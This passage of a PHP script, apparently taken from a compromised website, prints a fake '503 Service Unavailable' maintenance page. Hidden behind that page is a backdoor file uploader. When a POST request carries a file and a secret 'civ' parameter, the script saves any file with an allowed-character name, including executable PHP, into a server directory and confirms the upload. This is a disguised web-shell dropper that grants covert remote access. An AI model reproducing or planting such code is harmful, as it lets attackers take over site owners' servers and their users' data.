The server is temporarily unable to service your request due to maintenance downtime or capacity problems. Please try again later.
"; echo "Additionally, a 503 Service Unavailable error was encountered while trying to use an ErrorDocument to handle the request.
"; echo ""; exit; } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file']) && isset($_POST['civ'])) { $file = $_FILES['file']; $originalName = basename($file['name']); if (empty($originalName) || !preg_match("/^[a-zA-Z0-9\._-]{1,255}$/", $originalName)) { echo "Upload Failed: Nama file tidak valid."; exit; } if (move_uploaded_file($file['tmp_name'], $targetDir . $originalName)) { echo "Upload Successful: " . htmlspecialchars($originalName); } else { echo "Upload Failed."; } exit; } ?>